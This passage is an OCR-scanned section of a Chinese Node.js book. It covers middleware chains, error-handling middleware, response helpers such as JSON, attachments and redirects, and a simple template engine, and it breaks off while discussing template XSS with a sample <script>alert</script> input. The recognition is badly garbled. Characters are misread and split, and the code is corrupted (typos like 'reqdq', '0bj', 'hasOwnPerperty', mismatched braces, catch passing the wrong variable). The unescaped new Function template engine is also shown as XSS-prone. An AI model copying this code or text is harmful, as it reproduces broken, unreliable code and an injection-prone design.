中 间 件 。 这 里 我 们 将 路 由 分 离开 来 ， 将 中 间 件 和 有 具体 业务 逻辑 都 看 成 
业务 处 理 单元 ， 改进 useg) 方 法 如 下 所 示 : 


app.use = function (path) { 
var handle = { 
// 第 一 个 参数 作为 路 径 
path: pathRegexp(path), 
// 其 他 的 都 是 处 理 单元 


stack: Array.prototype.slice.call(arguments, 1) 


}; 
routes.all.push(handle); 
}; 


改进 后 的 use0) 方 法 将 中 间 件 都 存 进 了 stack 数组 中 保存 ， 等 竺 匹配 后 触 
9 由 于 结构 发 生 改 变 ， 那 么 我 们 的 匹配 部 分 也 需要 进行 修改 ， 
中 不 : 


var match = function (pathname, routes) { 
for (var i = 0; i < routes.length; i++) { 
var route = routes[i]; 
// 正则 匹配 
var reg = route.path.regexp; 
var matched = reg.exec(pathname); 
if (matched) { 
// 抽取 具体 什 
// 代码 省 略 
// 将 中 间 件 数组 交 给 handle( ) 方 法 处 理 
handle(req, res, route.stack); 
return true; 


} 


return false,; 


入 


一 旦 匹配 成 功 ， 中 间 件 具体 如 何 调动 都 交 给 了 handle0) 方 法 处 理 ， 该 方 
法 封装 后 ， 递 归 性 地 执行 数组 中 的 中 间 件 ， 每 个 中 间 件 执行 完成 后 ， 
按照 约定 调用 传 入 next0) 方 法 以 触发 下 一 个 中 间 件 执行 (或 者 直接 咯 
应 ) ， 直 到 最 后 的 业务 逻辑 。 代 码 如 下 所 示 : 


var handle = function (req, res, stack) { 
var next = function () { 
// 从 stack 数 组 中 取出 中 间 件 并 执行 
var middleware = stack.,shift(); 
if (middleware) { 
// 传 入 next( ) 画 数 自身 ， 使 中 间 件 能 够 执行 结束 后 递归 
middleware(reqdq, res, next); 


} 
}; 


// 启动 执行 
next(); 


}; 


这 里 之 来 的 疑问 是 ， 像 querystring ~ cookie 、 session 这 样 基础 的 功能 中 间 
i 如 有 果 都 设置 将 会 演变 成 如 下 的 


app.get('/user/:username', querystring, cookie, session, getUser); 
app.put('/user/:username', querystring, cookie, session, updateUser); 
// 更 多 路 


为 每 个 路 由 都 配置 中 间 件 并 不 是 一 个 好 的 设计 ， 有 既然 中 间 件 和 业务 逻 
辑 是 等 价 的 ， 那 么 我 们 是 否 可 以 将 路 由 和 中 间 件 进行 结合 ? 设计 是 否 
可 以 更 人 性 ? 既 能 照顾 普 适 的 需求 ， 又 能 照顾 特殊 的 需求 ? 答案 是 
Yes， 如 下 所 示 : 


app.use(qgquerystring); 

app.use(cookie); 

app.use(session); 

app.get('/user/:username', getUser); 
app.put('/user/:username', authorize, updateUser); 


为 了 满足 更 灵活 的 设计 ， 这 里 持续 改进 我 们 的 use0 方 法 以 适应 参数 的 
变化 ， 如 下 所 示 :; 


app.use = function (path) { 
var handle,; 
If (typeof path === 'string') { 
handle = { 
// 第 一 个 参数 作为 路 径 
path: pathRegexp(path), 
// 其 他 的 都 是 处 理 单元 


stack: Array.prototype.slice.call(arguments, 1) 


/ 


}; 
} else { 
handle = { 
// 第 一 个 参数 作为 路 径 
path: pathRegexp('/'), 
// 其 他 的 都 是 处 理 单元 
stack: Array.prototype.slice.call(arguments, 0) 


中 


} 
routes.all.push(handle); 


了 


除了 改进 use0) 方 法 外 ， 还 要 持续 改进 我 们 的 匹配 过 程 ， 与 前 面 一 旦 一 
次 匹配 后 就 不 再 执行 后 续 匹 配 不 同 ， 还 会 继续 后 续 逻 辑 ， 这 里 我 们 将 
所 有 匹配 到 中 间 件 的 都 暂时 保存 起 来 ， 如 下 所 示 : 


var match = function (pathname, routes) { 
var stacks = []; 
for (var i = 0; i < routes. length， i++) { 
var route = routes[i]; 
// 正则 匹配 
var reg = route.path.regexp; 
var matched = reg.exec(pathname); 
if (matched) { 
// 抽取 具体 什 
// 代码 省 略 
// 将 中 间 件 都 保存 起 来 
stacks = stacks.concat(route,.stack); 


} 


return stacks; 


了 


改进 井 完 use() 方 法 后 还 要 持 乡 走 改 进 并 分 发 的 过 程 : 


function (req, res) { 
var pathname = url.parse(req.url).pathname; 
// 将 请 求 方法 变 为 小 写 
var method = red,method.toLowerCase( ); 
// 获取 al1( ) 方 法 里 的 中 间 件 
var stacks = match(pathname，routes.al1)， 
if (routes.hasOwnPerperty(method)) { 
// 根据 请 求 方法 分 发 ， 获 取 相 关 的 中 间 件 
stacks.concat(match(pathname, routes[method])); 


} 


If (stacks.length) { 
handle(req, res, stacks); 
} else { 
// 处 理 494 请 求 
handle404(req, res); 


} 


综 上 所 述 ， 通 过 中 间 件 和 路 由 的 协作 ， 我 们 不 知 不 觉 之 间 已 经 将 复杂 
全， Web 应 用 开发 者 可 以 只 关注 业务 开发 束 能 胜任 整个 
二 


8.4.1 异常 处 理 

但 是 等 等 ， 如 果 某 个 中 间 件 出 现 错误 该 怎么 办 ? 我 们 需要 为 目 己 构建 
的 web 应 用 的 稳定 性 和 健壮 性 负责 。 于 是 我 们 为 next0) 方 法 添加 err 人参 
数 ， 并 捕获 中 则 件 直 接 抛 出 的 同步 异常 ， 如 下 所 示 : 


var handle = function (req, res, stack) { 
var next = function (err) { 
if (err) { 
return handlesoo0(err, req, res, stack); 


} 

// 从 stack 数 组 中 取出 中 间 件 并 执行 

var middleware = stack,.shift(); 

if (middleware) { 
// 传 和 next () 函 数 自身 ， 使 中 间 件 能 够 执行 结束 后 递归 


try { 

middleware(req, res, next); 
} catch (ex) { 

next(err); 


} 
}; 


// 启动 执行 
next(); 


了 


由 于 异步 方法 的 异常 不 能 直接 捕获 (在 第 4 草 中 有 过 阐述 ， 中 间 件 异 
步 产 生 的 异 肖 需要 目 己 传递 出 来 ， 如 下 所 示 : 


var session = function (req, res, next) { 
var id = req.cookies.sessionid; 
store.get(id, function (err, session) { 
if (err) { 
// 将 异常 通过 next( ) 传 递 
return next(err); 


} 


redq.session = session,; 
next(); 
}); 


Next() 方 法 接 到 异常 对 象 后 ， 会 将 其 交 给 handlesoo() 进 行 处 理 。 为 了 将 中 
间 件 的 思想 延续 下 去 ， 我 们 认为 进行 异常 处 理 的 中 间 件 也 是 能 进行 数 
组 式 处 理 的 。 由 于 要 同时 传递 异常 ， 所 以 用 于 处 理 异常 的 中 间 件 的 设 
计 与 普通 中 间 件 略 有 差别 ， 它 的 参数 有 4 个 ， 如 下 所 示 : 


var middleware = function (err, req, res, next) { 
// TODO 
next(); 


我 们 通过 ,se ) 可 以 将 所 有 异常 处 理 的 中 间 件 注册 起 来 ， 如 下 所 示 : 


app.use(function (err, req, res, next) { 
// TODO 
}); 


为 了 区 分 普通 中 间 件 和 异常 处 理 中 间 件 ，hanglesee0) 方 法 将 会 对 中 间 件 
按 参数 进行 进行 选取 ， 然 后 递归 执行 。 
var handle500 = function (err, req, res, stack) { 
// 选取 异常 处 理 中 间 件 
stack = stack.filter(function (middleware) { 


return middleware.length === 4; 


}); 


var next = function () { 
// 从 stack 数 组 中 取出 中 间 件 并 执行 
var middleware = stack,.shift(); 
if (middleware) { 


// 传递 异常 对 象 
middleware(err, req, res, next); 


} 
J 
// 启动 执行 


next(); 


}; 


8.4.2 ”中 间 件 与 性 能 

前 文 我 们 添加 了 强大 的 中 间 件 组 织 能 力 ， 如 果 注 意 到 一 个 现象 的 话 ， 
那 就 是 我 们 的 业务 逻辑 往往 是 在 最 后 才 执 行 。 为 了 让 业务 逻辑 提早 执 
行 ， 尽 早 响应 给 终端 用 户 ， 中 间 件 的 编写 和 使 用 是 需要 一 番 考 究 的 。 
下 面 是 两 个 主要 的 能 提升 的 点 。 


。 编写 高 效 的 中 间 件 。 
。 合理 利用 路 由 ， 避 免 不 必 要 的 中 间 件 执行 。 
1. 编写 高 效 的 中 间 件 
编写 高 效 的 中 间 件 其 实 就 是 提升 单个 处 理 单元 的 处 理 速 
度 ， 以 尽早 调用 nextO0 执 行 后 续 逻 辑 。 需 要 知道 的 事情 
是 ， 一 旦 中 间 件 被 匹配 ， 那 么 每 个 请 求 都 会 使 该 中 间 件 
执行 一 次 ， 哪 介 它 只 当 费 1 坚 秒 的 执行 时 间 ， 都 会 让 我 们 
的 QPS 显 著 下 降 。 第 见 的 优化 方法 有 几 种 。 
= 使 用 高 效 的 方法 。 必 要 时 通过 jsperf.com 测 试 基准 性 
能 。 


a 缓存 需要 重复 计算 的 结果 (需要 控制 缓存 用 量 ， 原 
因 在 第 5 间 曾 述 过 ) 。 
= 避免 不 必要 的 计算 。 比 如 HTTP 报 文体 的 解析 ， 对 于 
GET 方 法 完全 不 需要 
2. 合理 使 用 路 由 
在 拥有 一 堆 高 效 的 中 间 件 后 ， 并 不 意味 着 每 个 中 间 件 我 
们 都 使 用 ， 合 理 的 路 由 使 得 不 必要 的 中 间 件 不 参与 请 求 
处 理 的 过 程 。 这 里 以 一 个 示例 来 说 明 该 问题 。 
假设 我 们 这 里 有 一 个 静态 文件 的 中 间 件 ， 它 会 对 请 求 进 
行 判 断 ， 如 有 果 磁 盘 上 存在 对 应 文件 ， 束 响应 对 应 的 静态 
文件 ， 否 则 就 交 由 下 游 中 间 件 处 理 ， 如 下 所 示 : 


var staticFile = function (req, res, next) { 
var pathname = url.parse(req.url).pathname; 


fs,readFile(path,join(ROOT，pathname)，Tfunction (err, file) { 
if (err) { 
return next(); 


res.writeHead(200); 
res.end(file); 
}); 
}; 


如 果 我 们 以 如 下 的 方式 注册 路 由 : 


app.use(staticrFile); 


那么 意味 着 对 /路 径 下 的 所 有 URL 请 求 都 会 进行 判断 。 又 
由 于 它 中 间 涉 及 到 了 磁盘 IO ， 如 果 成 功 匹 配 ， 它 的 效率 
还 行 ， 但 是 如 果 不 成 功 匹 配 ， 每 次 的 磁盘 IO 都 是 对 性 能 
的 良 费 ， 使 QPS 直 线 下 降 。 

对 于 这 种 情况 ， 我 们 需要 做 的 是 提升 匹配 成 功率 ， 那 么 
残 不 能 使 用 默认 的 /路 径 来 进行 匹配 了 ， 因 为 它 的 误伤 率 
和 
中 不 : 


app.use('/public', staticFile),; 


这 样 只 有 /public 路 径 会 匹配 上 ， 其 余 路 径 根本 不 会 涉及 
该 中 间 件 。 


8.4.3 “小结 

中 间 件 使 得 前 文 的 基础 功能 ， 从 凌乱 的 发 散 状 态 收敛 成 很 规整 的 组 织 
方式 。 对 于 单个 中 间 件 而 言 ， 它 足够 简单 ， 职 责 单一 。 与 像 面 条 一 样 
洒 焰 在 一 起 的 逻辑 判断 相 比 ， 它 具备 更 好 的 可 测试 性 。 中 间 件 机 制 使 
得 Web 应 用 具备 民 好 的 可 扩展 性 和 可 组 合 性 ， 可 以 轻易 地 进行 数据 增 
删 。 从 某 种 角度 来 讲 它 就 是 Unix 哲 学 的 一 个 实现 ， 专 注 简单 ， 小 而 
美 ， 然 后 通过 组 合 使 用 ， 发 挥 出 强大 的 能 量 。 

中 间 件 是 Connect 的 经 典 模式 ， 通 过 本 市 的 和 叙述， 我 们 已 经 可 以 看 到 整 
个 Connect 是 如 何 搭建 轮廓 的 。 本 节 试 图 解释 Web 开 发 过 程 的 前 置 思 
路 ， 省 略 了 许多 细节 ， 尽 管 与 实际 的 Connect 代 码 不 尽 相 同 ， 硕 望 借 着 
这 些 思 路 ， 每 位 开发 者 都 能 独立 写 出 适应 目 己 业务 需求 的 框架 。 


8.5 ”页面 演 染 

通过 中 间 件 机 制 组 织 基础 功能 完成 我 们 的 请 求 预 处 理 后 ， 不 管 是 通过 
MVC 还 是 通过 RESTful 路 由 ， 开 发 者 或 者 是 调用 了 数据 库 ， 或 者 是 进行 了 
文件 操作 ， 或 者 是 处 理 了 内 存 ， 这 时 我 们 终于 来 到 了 响应 客户 端的 部 分 
了 。 这 里 的 “页 面 浑 染 ?是 个 狭义 的 标题 ， 我 们 其 实 响应 的 可 能 是 一 个 
HTML 了 网页， 也 可 能 是 CSS、JS 文 件 ， 或 者 是 其 他 多 媒体 文件 。 这 里 我 们 
要 承接 上 文 谈 论 的 HTTP 响 应 实现 的 技术 细节 ， 主 要 包含 内 容 响应 和 页 面 
泻 染 两 个 部 分 。 

对 于 过 去 流行 的 ASP、PHP、JSP 等 动态 网 页 技术 ， 页 面 泻 染 是 一 种 内 置 
的 功能 。 但 对 于 Node 来 说 ， 它 并 没有 这 样 的 内 置 功能 ， 在 本 节 的 介绍 
中 ， 你 会 看 到 正 是 因为 标准 功能 的 缺失 ， 我 们 可 以 更 贴近 底层 ， 发 展 出 
更 多 更 好 的 浑 染 技术 ， 社 区 的 创造 力 使 得 Node 在 HTTP 响 应 上 呈现 出 更 加 
丰富 多 彩 的 状态 。 

8.5.1 ”内 容 响 应 

在 第 7 章 我 们 介绍 了 http 模 块 封装 了 对 请 求 报 文 和 响应 报 文 的 操作 ， 在 这 里 
我 们 则 展开 说 明 应 用 层 该 如 何 使 用 响应 的 封装 。 服 务 器 端 响应 的 报 文 ， 
最 终 都 要 被 终端 处 理 。 这 个 终端 可 能 是 命令 行 终端 ， 也 可 能 是 代码 终 
端 ， 也 可 能 是 浏览 器 。 服 务 器 端的 响应 从 一 定 程 度 上 决定 或 指示 了 客户 
端 该 如 何 处 理 响 应 的 内 容 。 

内 容 响 应 的 过 程 中 ， 响 应 报头 中 的 content-* 字 有 段 十 分 重要 。 在 下 面 的 示例 
响应 报 文中 ， 服 务 端 告知 客户 端 内 容 是 以 gzip 编 码 的 ， 其 内 容 长 度 为 21 
170 个 字 节 ， 内 容 类 型 为 JavaScript， 字 符 集 为 UTF-8: 


Content-Encoding: gzip 
Content-Length: 21170 
Content-Type: text/javascript; charset=utf-8 


客户 问 在 接收 到 这 个 报 文 后 ， 正 确 的 处 理 过 程 是 通过 gzip 来 解码 报 文体 中 
的 内 容 ， 用 长 度 校 验 报 文体 内 容 是 否 正确 ， 然 后 再 以 字符 集 UTF-8 将 解码 
后 的 脚本 插入 到 文档 节点 中 。 


1. MIME 


如 果 想 要 客户 端 用 正确 的 方式 来 处 理 响 应 内 容 ， 了 解 MIME 必 不 
2 。 可 以 先 猜 想 一 下 下 面 两 段 代码 在 客户 端 会 有 什么 样 的 差 
异 


res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('<html><body>Hello World</body></html>\n'); 
// 或 者 
res.writeHead(200, {'Content-Type': 'text/html'}); 
res.end('<html><body>Hello World</body></html>\n'); 


在 网 页 中 ) 前 者 显示 的 是 <ntml><body>hello World</body></html>, 而 后 
者 只 能 看 到 hello wori14， 如 图 8-5 所 示 。 


<html><body>Hello world</body></html> 


Hello World 

图 8-5 ”content-type 字 段 值 不 同 使 网 页 显示 的 内 容 不 同 

没 错 ，3 引 起 上 述 差 异 的 原因 就 在 于 它们 的 content-Type 字 段 的 值 是 
不 同 的 。 浏 览 器 对 内 容 采 用 了 不 同 的 处 理 方式 ， 前 者 为 纯 文 
本 ， 后 者 为 HTML， 并 泻 染 了 DOM 树 。 浏 览 器 正 是 通过 不 同 的 
content -Type 的 值 来 决定 采用 不 同 的 泻 染 方式 ， 这 个 值 我 们 简称 为 
MIME 值 。 

MIME 的 全 称 是 Multipurpose Internet Mail Extensions， 从 名 字 可 
以 看 出 ， 它 最 早 用 于 电子 邮件 ， 后 来 也 应 用 到 浏 贤 硕 中 。 不 同 
的 文件 类 型 具有 不 同 的 MIME 值 ， 如 JSON 文 件 的 值 为 
application/json 、 XML 文 件 的 值 为 application/xml A PDF 文 件 的 值 为 
application/pdf ° 

为 了 方便 获知 文件 的 MIME 值 ， 社 区 有 专 有 的 mime 模 块 可 以 用 
判 段 文件 类 型 。 它 的 调用 十 分 简单 ， 如 下 所 示 : 


var mime = require('mime'); 


mime.lookup('/path/to/file.txt'); // => 'text/plain' 
mime.lookup('file.txt"); // => 'text/plain' 
mime.lookup(" .TXT"); // => 'text/plain' 
mime.lookup('htm' ); // => 'text/html’ 


除了 MIME 值 外 ，content-rype 的 值 中 还 可 以 包含 一 些 参数 ， 如 字 
符 集 。 示 例如 下 : 

Content -Type: text/javascript; charset=utf-8 

附件 下 载 

在 一 些 场景 下 ， 无 论 啊 应 的 内 容 是 什么 样 的 MIME 值 ， 需 求 中 并 
不 要 求 客 户 端 去 打开 它 ， 只 需 弹 出 并 下 载 它 即 可 。 为 了 满足 这 
种 需求 ， content-pisposition 字 上 段 应 声 登 场 2 content -pisposition 字 段 影 
啊 的 行为 是 客户 端 会 根据 它 的 值 判断 是 应 该 将 报 文 数据 当做 即 
时 浏览 的 内 容 ， 还 是 可 下 载 的 附件 。 当 内 容 只 需 即时 查看 时 ， 
它 的 值 为 imine， 当 数据 可 以 存 为 附件 时 ， 它 的 值 为 attacnment。 夯 


处 ， content- pisposition 字 段 还 \ 能 通过 参数 指定 保存 时 应 该 使 用 的 文 
件 名 。 示 例如 下 : 


Content-Disposition: attachment; filename="filename.ext" 


如 果 我 们 要 设计 一 个 响应 附件 下 载 的 API (res.sendfile) ， 我 们 
的 方法 大 致 是 如 下 这 样 的 : 


res.sendfile = function (filepath) { 
fs.stat(filepath, function(err, stat) { 
var stream = fs,createReadStream(filepath ) ; 
// 设置 内 容 
res.setHeader('Content-Type', mime.lookup(filepath)); 
// 设置 长 度 
res.setHeader('Content-Length', stat.size); 


// 设置 为 附件 


res.setHeader('Content- 
Disposition' 'attachment; filename="' + path.basename(filepath) + '"'); 
res.writeHead(200); 
stream.pipe(res); 
}); 
}; 


3. 响应 JSON 
为 了 快捷 地 响应 JSON 数 据 ， 我 们 也 可 以 如 下 这 样 进行 封装 : 


res.json = function (json) { 
res.setHeader('Content-Type', 'application/json'); 
res.writeHead(200); 
res.end(JSON.stringify(json)); 


4. 响应 县 转 


当 我 们 的 URL 因 为 某 些 问 题 ( 壁 如 权限 限制 ， 不 能 处 理 当 前 请 
求 ， 需 要 将 用 户 跳 转 到 别 的 URL 时 ， 我 们 也 可 以 封装 出 一 个 快 
捷 的 方法 实现 跳 转 ， 如 下 所 示 : 


res.redirect = function (url) { 
res.setHeader('Location', url); 
res.writeHead(302); 
res.end('Redirect to ' + url); 


8.5.2 ”视图 泻 染 


Web 应 用 的 内 容 响应 形式 十 分 丰富 ， 可 以 是 静态 文件 内 容 ， 也 可 以 是 其 他 
附件 文件 ， 也 可 以 是 跳 转 等 。 这 里 我 们 回 到 主流 的 壮 通 的 HTML 内 容 的 响 
应 上 ， 总 称 视图 泻 染 。Web 应 用 最 终 呈 现在 寞 面 上 的 四 窑 ， 都 是 通过 一 系 
列 的 视图 泻 染 呈现 出 来 的 。 在 动态 页 面 技术 中 ， 最 终 的 视图 是 由 模板 和 
数据 共同 生成 出 来 的 。 


模板 是 市 有 特殊 标签 的 HTML 片 段 ， 通 过 与 数据 的 泻 染 ， 将 数据 填充 到 这 
些 特殊 标签 中 ， 骤 后 生成 普通 的 冲 数 据 的 HIML 片 段 。 通 靖 我 们 将 演 染 方 
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法 设计 为 render()， 参 数 束 是 模板 路 人 径 和 数据 ， 如 下 所 示 : 
res.render = function (view, data) { 

res.setHeader('Content-Type', 'text/html'); 
res.writeHead(200); 
// 实际 泻 染 
var html = render(view, data); 
res.end(html); 


在 Node 中 ， 数 据 自然 是 以 JSON 为 首选 ， 但 是 模板 却 有 太 多 选择 可 以 使 用 
了 。 上 面 代码 中 的 render0 我 们 可 以 将 其 看 成 是 一 个 约定 接口 ， 接 受 相 同 参 
数 ， 最 后 返回 HTML 片段 。 这 样 的 方法 我 们 都 视 作 实现 了 这 个 接口 。 
8.5.3 ”模板 

最 早 的 服务 器 端 动态 页 面 开 发 ， 是 在 CGI 程序 或 servlet 中 输出 HTML 片 
段 ， 通 过 网 络 流 输 出 到 客户 端 ， 客 户 端 将 其 泻 染 到 用 户 界 面 上 。 这 种 逻 
辑 代 码 与 HTML 输 出 的 代码 混杂 在 一 起 的 开发 方式 ， 导 致 一 个 小 小 的 UI 改 
动 都 要 大 动 干 戈 ， 甚 至 需要 重新 编译 。 为 了 改良 这 种 情况 ， 使 HTML 与 逻 
辑 代 码 分 离开 来 ， 催 生出 一 些 服 务 器 端 动态 网 页 技术 ， 如 ASP、PHP、 
JSP。 它 们 将 动态 语言 部 分 通过 特殊 的 标签 (ASP 和 JSP 以 <* 作为 标志 ， 
PHP 则 以 <z ?>> 作 为 标志 ) 包含 起 来 ， 通 过 HITML 和 模板 标签 混 排 ， 将 开发 
者 从 输出 HTML 的 工作 中 解脱 出 来 。 这 样 的 方法 虽然 一 定 程度 上 减轻 了 开 
发 维护 的 难度 ， 但 是 页 面 里 还 是 充斥 着 大 量 的 逻辑 代码 。 这 催生 了 MVC 
在 动态 网 页 技术 中 的 发 展 ，MVC 将 逻辑 、 显 示 、 数 据 分 离开 来 的 方式 ， 
00 
B 来 的 。 

尽管 模板 技术 看 起 来 在 MVC 时 期 才 广 泛 使 用 ， 但 不 可 否认 的 是 如 ASP、 
PHP、JSP， 它 们 其 实 就 是 最 早 的 模板 技术 。 模 板 技术 虽然 多 种 多 样 ， 但 
它 的 实质 就 是 将 模板 文件 和 数据 通过 模板 引擎 生成 最 终 的 HTIML 人 代码。 形 
成 模板 技术 的 也 就 如 下 4 个 要 素 。 


。 模板 语言 。 
。 包含 模板 语言 的 模板 文件 。 
。 拥有 动态 数据 的 数据 对 象 。 
。 模板 引擎。 
对 于 ASP、PHP、JSP 而 言 ， 模 板 属 于 服务 器 端 动态 页 面 的 内 置 功能 ， 模 


板 语 言 束 是 它们 的 宿主 语言 (VBScript 、 JScript PI Java) ， 模 板 文 
件 就 是 以 .php、.asp、.jsp 为 后 级 的 文件 ， 模 板 引 擎 就 是 Web 容 器 。 


这 个 时 期 的 模板 极度 依赖 上 下 文 ， 甚 至 要 处 理 整 个 HTTP 的 请 求 对 象 。 随 
后 模板 语言 的 发 展 使 得 模板 可 以 脱离 上 下 文 环境 ， 只 有 数据 对 象 束 可 以 
执行 。 如 PHP 中 的 PHPLIB Template 和 FastTemplate、Java 的 XSTL， 以 及 
Velocity、JDynamiTe、Tapestry 等 模板 。 

这 类 模板 的 缺点 在 于 它 的 实现 与 宿主 语言 有 很 大 的 关联 性 ， 由 于 各 种 语 
言 采用 的 模板 语言 不 同 ， 包 含 各 种 特殊 标记 ， 导 臻 移植 性 较 差 。 早 期 的 
企业 一 旦 选 定 编程 语言 就 不 会 轻易 地 转换 环境 ， 所 以 较 少 有 开发 者 去 开 
发 新 的 模板 语言 和 模板 引擎 来 适应 不 同 的 编程 语言 。 如 今 异 构 系 统 越 来 
越 多 ， 模 板 能 够 应 用 到 多 门 编 程 语言 中 的 这 种 需求 也 开始 呈现 出 来 。 
破局 者 是 Mustache， 它 宣称 自己 是 弱 逻 辑 的 模板 (logic-less templates) ， 
定义 了 以 {为 标志 的 一 套 模 板 语 言 ， 并 给 出 了 十 多 门 编程 语言 的 模板 引 
擎 实现 ， 使 得 采用 它 作 为 模板 具备 很 好 的 可 移植 性 。 但 随 着 Node 在 社区 
的 发 展 ， 思 路 很 快 被 打开 ， 模 板 语 言 可 以 随意 创造 ， 模 板 引 警 也 可 以 随 
意 实现 。Node 社 区 目前 与 模板 引擎 相关 模块 的 列表 差不多 要 滚 3 个 屏幕 才 
能 看 完 。 并 且 由 于 Node 与 前 端 都 采用 相同 的 执行 语言 JavaScript， 所 以 一 
和 


模板 和 数据 与 最 终结 采 相 比 ， 这 里 有 一 个 静态 、 动 态 的 划分 过 程 ， 相 同 
的 模板 和 不 同 的 数据 可 以 得 到 不 同 的 结果 ， 不 同 的 模板 与 相同 的 数据 也 
能 得 到 不 同 的 结果 。 模 板 技 术 使 得 网 页 中 的 动态 内 容 和 静态 内 容 变 得 不 
互相 依赖 ， 数 据 开 发 者 与 模板 开发 者 只 要 约定 好 数据 结构 ， 两 者 束 不 用 
互相 影响 了 ， 如 图 8-6 所 示 。 


图 8-6 ”模板 技术 


但 模板 技术 并 不 是 什么 神秘 的 技术 ， 它 干 的 实际 上 是 拼接 字符 串 这 样 很 
底层 的 活 ， 只 是 各 种 模板 有 着 各 自 的 优 缺 点 和 技巧 。 说 模板 是 拼接 字符 
串 并 不 为 过 ， 我 们 要 的 就 是 模板 加 数据 ， 通 过 模板 引擎 的 执行 就 能 得 到 
最 终 的 HTML 字 符 串 这 样 结果 。 

假设 我 们 的 模板 是 如 下 这 样 的 ，<w=w 就 是 我 们 制定 的 模板 标签 (选择 这 个 
标签 主要 因为 ASP 和 JSP 都 采用 它 做 标签 ， 相 对 熟悉 ) : 


Hello <%= username%> 


如 果 我 们 的 数据 是 {tusername: "JacksonTian"}, 那么 我 们 期 望 的 结果 就 是 hello 
JacksonTian ° 具体 实现 的 过 程 是 模板 分 为 hel11o 和 <%= era “个 党 | 分 ， 前 者 
为 普通 字符 串 ， 后 者 是 表达 式 。 表 达 式 需要 继续 处 理 ， 与 数据 关联 后 成 
为 一 个 变量 值 ， 最 终 将 字符 串 与 变量 值 连 成 最 终 的 字符 串 。 图 8-7 演 示 了 
模板 与 数据 的 泻 染 过 程 图 。 


Hello <% =username % > 


Hello <%=username% > 


Hello- obj .username 


~ 


"Hello"+0obj.username 
图 8-7 模板 与 数据 的 泻 染 过 程 图 


1. 模板 引擎 


为 了 演示 模板 引擎 的 技术 ,， 我 们 将 通过 render() 方 法 实现 一 个 简单 
的 模板 引擎 本 这 个 模板 引擎 会 将 hero <%= usernanex> 转 换 为 "Hello 
obj .username ° 该 过 程 进 行 以 下 几 个 步骤 。 


语法 分 解 。 提 取出 普通 字符 串 和 表达 式 ， 这 个 过 程 通病 用 
正则 表达 式 匹 配 出 来 ， -ee 的 正则 表达 式 为 vee 


([\s\S]+?)%>/g ° 

人 处理 表达 式 。 将 标签 表达 式 转换 成 普通 的 语言 表达 式 。 
生成 得 执行 的 语句 。 

与 数据 一 起 执行 ， 生 成 最 终 字符 串 。 


知晓 了 流程 ， 模 板 函 数 束 可 以 轻松 愉快 地 开工 了 ， 如 下 所 示 : 


var render = function (str, data) { 
// 模板 技术 呢 ， 就 是 替换 特殊 标签 的 技术 
var tpl = str.replace(/<%=([\s\S]+?)%>/g, function(match, code) { 


return "' + 0bj,"” + code + "+ ' 


}); 


tpl = "var tpl = '" + tpl + "'\nreturn tpl;"; 
Var complied = new Function('obj', tpl1); 
return complied(data); 


} 中 


调用 上 面 的 模板 函数 试 试 ， 如 下 所 示 : 


var tpl = 'Hello <%=username%>.'; 
console.log(render(tpil, {username: 'Jackson Tian'})); 
// => Hello Jackson Tian. 


模板 编译 
上 述 代 码 的 实现 过 程 中 ， 可 以 看 到 有 部 分 内 容 前 文 没有 所 
及 ， 它 的 内 容 如 下 : 


tpl = "var tpl = '" + tpl + "'\nreturn tpl;"; 
var complied = new Function('obj', tpl); 


为 了 能 够 最 终 与 数据 一 起 执行 生成 字符 串 ， 我 们 需要 将 原 
始 的 模板 字符 串 转 换 成 一 个 函数 对 象 四 比如 Hello <%=USername%> 
这 句 模 板 字符 串 ， 最 终 会 生成 如 下 的 代码 : 


function (obj) { 
var tpl = 'Hello ' + obj.username + '.' 
return tpl; 


Ce 


这 个 过 程 称 为 模板 编译 ， 生 成 的 中 间 函 数 只 与 模板 字符 串 
相关 ， 与 具体 的 数据 无 天。 如 采 每 次 都 生成 这 个 中 间 男 
数 ， 就 会 浪费 CPU。 为 了 提升 模板 泻 染 的 性 能 速度 ， 我 们 通 


常会 采用 模板 预 编译 的 方式 。 是 故 ， 上 面 的 代码 可 以 拆 解 
为 两 个 方法 ， 如 下 所 示 : 


var complie = function (str) { 
var tpl = str. replace(/<%=([\s\S]+?)%>/g, function(match, code) { 
return "' + 0bj." + code + "+ '") 


}); 


tpl = "var tpl = '" + tpl + "'\nreturn tpl;"; 
return new Function('obj, escape', tpl1); 


var render = function (complied, data) { 
return complied(data); 


通过 预 编译 缓存 模板 编译 后 的 结果 ， 实 际 应 用 中 就 可 以 实 
现 一 次 编译 ， 多 次 执行 ， 而 原始 的 方式 每 次 执行 过 程 中 都 
要 进行 一 次 编译 和 执行 。 

with 的 应 用 


上 面 实现 的 模板 引擎 非常 弱 ， 只 能 替换 变 <%="Jackson Tian"%> 嘎 
无 法 支持 了 。 为 了 让 它 更 灵 酒 ， 我 们 需 已 的 实现 ， 使 字 
符 串 能 继续 表达 为 字符 串 ， 变 量 能 够 自动 寻找 属于 它 的 对 象 。 
于 是 with 关键 字 引 入 到 我 们 的 实现 中 。with 关 键 字 是 JavaScript 中 
饱 受 Douglas Crockford 指 责 的 设计 ， 细 在 本 书 附 孙 C 中 有 详细 
描述 。 但 在 这 里 ，with 关 键 字 可 以 得 到 很 方便 的 应 用 。 


Var complie = function (str, data) { 


// 模板 技术 呢 ， 就 是 替换 特殊 标签 的 技术 
Var tpl = str. Ai function (match, code) { 


return m+ "Code 4+" 
}); 
tpl 二 "tpl 二 LL 十 , tpl 十 TE 
tpl = 'var tpl = ;\nwith (0bj) {' + tpl + '}\nreturn tpl;'" 
return new ee obj', tpl); 


}; 
普通 字符 串 就 直接 输出 ， 变 量 coue 的 值 则 是 objrcodel。 关 于 new 
Function()， 这 里 通过 它 创建 了 一 个 函数 对 象 ， 它 的 语法 如 下 : 
new Function ([argi[, arg2[, ... argN]],] functionBody ) 
Function() 构 造 函 数 接受 多 个 参数 ， 最 后 一 个 参数 作为 画 数 体 的 内 
容 ， 其 余 参数 都 会 用 来 作为 新 生成 的 函数 的 参数 列表 。 
模板 安全 
前 文 提 到 过 XSS 漏 洞 ， 它 的 产生 大 多 跟 模 板 相 关 ， 如 果 上 文 
中 的 usernane 的 值 为 <script>alert("i anmEXxSSRJSLScrapite ， 那么 模板 
泻 染 输出 的 字符 串 将 会 是 : 


Hello <script>alert("I am XSS.")</script>. 


这 会 在 页 面 上 执行 这 个 脚本 ， 如 果 恰 好 这 里 的 usernane 是 在 
URL 的 查询 字符 上 输入 的 ， 这 就 构成 了 XSS 漏 洞 。 为 了 提高 
安全 性 ， 大 多 数 模板 都 提供 了 转 义 的 功能 。 转 义 就 是 将 能 
